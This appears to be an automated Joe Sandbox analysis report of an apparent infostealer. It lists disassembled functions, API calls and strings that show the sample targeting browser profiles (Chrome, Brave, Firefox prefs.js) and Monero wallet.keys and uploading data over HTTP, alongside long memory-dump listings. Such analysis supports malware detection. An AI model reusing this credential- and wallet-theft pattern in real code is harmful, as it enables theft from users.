Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 51aaadd7f059d648b43e0b7e87c435b79e678c098f882ab9bfdd45a76d833787
Instruction ID: c5b5052f19c51eec0694223830df1af1cf4b6d73da1fac89b97fbff4d0799675
Opcode Fuzzy Hash: 51aaadd7f059d648b43e0b7e87c435b79e678c098f882ab9bfdd45a76d833787
Instruction Fuzzy Hash: C2422072910108ABDF14FBA0DD96EED737DAF64304F804558B90A96191EF34AB4DCBE2

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
GenuntelineI, xrefs: 6C653639
QPC, xrefs: 6C6538FC
GTC, xrefs: 6C653912
AuthcAMDenti, xrefs: 6C653946

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 00194910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0019492C
FindFirstFileA.KERNEL32(?,?), ref: 00194943
StrCmpCA.SHLWAPI(?,001A0FDC), ref: 00194971
StrCmpCA.SHLWAPI(?,001A0FE0), ref: 00194987
FindNextFileA.KERNEL32(000000FF,?), ref: 00194B7D
FindClose.KERNEL32(000000FF), ref: 00194B92

Strings

%s\%s, xrefs: 001949A4
%s\*, xrefs: 00194920
%s\%s, xrefs: 001949FB

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 97656faa5316ecf5c6ff315afca25c9072244bd914e449c54ab8b5dbeb3360a9
Instruction ID: 52ab389ab44e40b0cf0e2126dbccc1da6743c0ed5d22efc420678c6b120e97b5
Opcode Fuzzy Hash: 97656faa5316ecf5c6ff315afca25c9072244bd914e449c54ab8b5dbeb3360a9
Instruction Fuzzy Hash: 246187B2900618ABCF25EBA0DC49FEA737CBB59705F044588F50AD6040EB35EB45CF91

Function 00184880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00184839
Part of subcall function 001847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00184849

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00184915
StrCmpCA.SHLWAPI(?,0134E510), ref: 0018493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00184ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,001A0DDB,00000000,?,?,00000000,?,",00000000,?,0134E490), ref: 00184DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00184E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00184E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00184E49
InternetCloseHandle.WININET(00000000), ref: 00184EAD
InternetCloseHandle.WININET(00000000), ref: 00184EC5
HttpOpenRequestA.WININET(00000000,0134E430,?,0134D838,00000000,00000000,00400100,00000000), ref: 00184B15

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

InternetCloseHandle.WININET(00000000), ref: 00184ECF

Strings

------, xrefs: 001849BD
", xrefs: 00184D33
", xrefs: 00184BF2
------, xrefs: 00184C69
------, xrefs: 00184B28

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: b8b227944eae2ffc6dc0fe2839d782698f229dc42ca641406369648c8cfc91e4
Instruction ID: f8a4eb7f6e4f85e3b74e922a50674db3f1c51b576f99dcf3a339ea953b248795
Opcode Fuzzy Hash: b8b227944eae2ffc6dc0fe2839d782698f229dc42ca641406369648c8cfc91e4
Instruction Fuzzy Hash: 5412C071960118AADF15EB90DCA2FEEB379BF25305F904199B10662091DF702F4DCFA2

Function 00193EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00193EC3
FindFirstFileA.KERNEL32(?,?), ref: 00193EDA
StrCmpCA.SHLWAPI(?,001A0FAC), ref: 00193F08
StrCmpCA.SHLWAPI(?,001A0FB0), ref: 00193F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0019406C
FindClose.KERNEL32(000000FF), ref: 00194081

Strings

%s\%s, xrefs: 00193EB7

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e4014d97d2dc6b50cb422f3627634bd7ccbc69e10971db664eea67f43d791b53
Instruction ID: 7f4c649bd3cadcf54f835cdb213b4fbafa1c11565fd780fb9120b3357b0002b8
Opcode Fuzzy Hash: e4014d97d2dc6b50cb422f3627634bd7ccbc69e10971db664eea67f43d791b53
Instruction Fuzzy Hash: 725173B690061CABCF25FBB0DC85EEA777CBB58304F404588B659D6040EB75AB898F91

Function 0018F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001A15B8,001A0D96), ref: 0018F71E
StrCmpCA.SHLWAPI(?,001A15BC), ref: 0018F76F
StrCmpCA.SHLWAPI(?,001A15C0), ref: 0018F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0018FAB1
FindClose.KERNEL32(000000FF), ref: 0018FAC3

Strings

prefs.js, xrefs: 0018F812

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 8a82e12a8a7fe33b0b409bd69065821f041709f576c8796eb1ec0e305449741f
Instruction ID: 1e3d577beac2d6b33d3d09bc3655d4c56977bc31fa30a036b7b60383d56cab8c
Opcode Fuzzy Hash: 8a82e12a8a7fe33b0b409bd69065821f041709f576c8796eb1ec0e305449741f
Instruction Fuzzy Hash: 66B112719101189BDF28FB60DC96EED7379AF65300F8085A8A50A97151EF316B4ACFD2

Function 001816D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001A510C,?,?,?,001A51B4,?,?,00000000,?,00000000), ref: 00181923
StrCmpCA.SHLWAPI(?,001A525C), ref: 00181973
StrCmpCA.SHLWAPI(?,001A5304), ref: 00181989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00181D40
DeleteFileA.KERNEL32(00000000), ref: 00181DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00181E20
FindClose.KERNEL32(000000FF), ref: 00181E32

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Strings

\*.*, xrefs: 001817F1

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 434e499d3267ae8bf0fbed19ab7dc4716a4bb32fb8f4f9e31c455fad5e32b7df
Instruction ID: 80d18ee50cae050ea91fe33b9af90f9e5dfe54b0f695c11fa464391dca5ab2fa
Opcode Fuzzy Hash: 434e499d3267ae8bf0fbed19ab7dc4716a4bb32fb8f4f9e31c455fad5e32b7df
Instruction Fuzzy Hash: F212CC71950118ABDF19FB60DC96EEE7378AF64305F804599A50AA2091EF306F8DCFE1

Function 0018DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001A14B0,001A0C2A), ref: 0018DAEB
StrCmpCA.SHLWAPI(?,001A14B4), ref: 0018DB33
StrCmpCA.SHLWAPI(?,001A14B8), ref: 0018DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0018DDCC
FindClose.KERNEL32(000000FF), ref: 0018DDDE

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
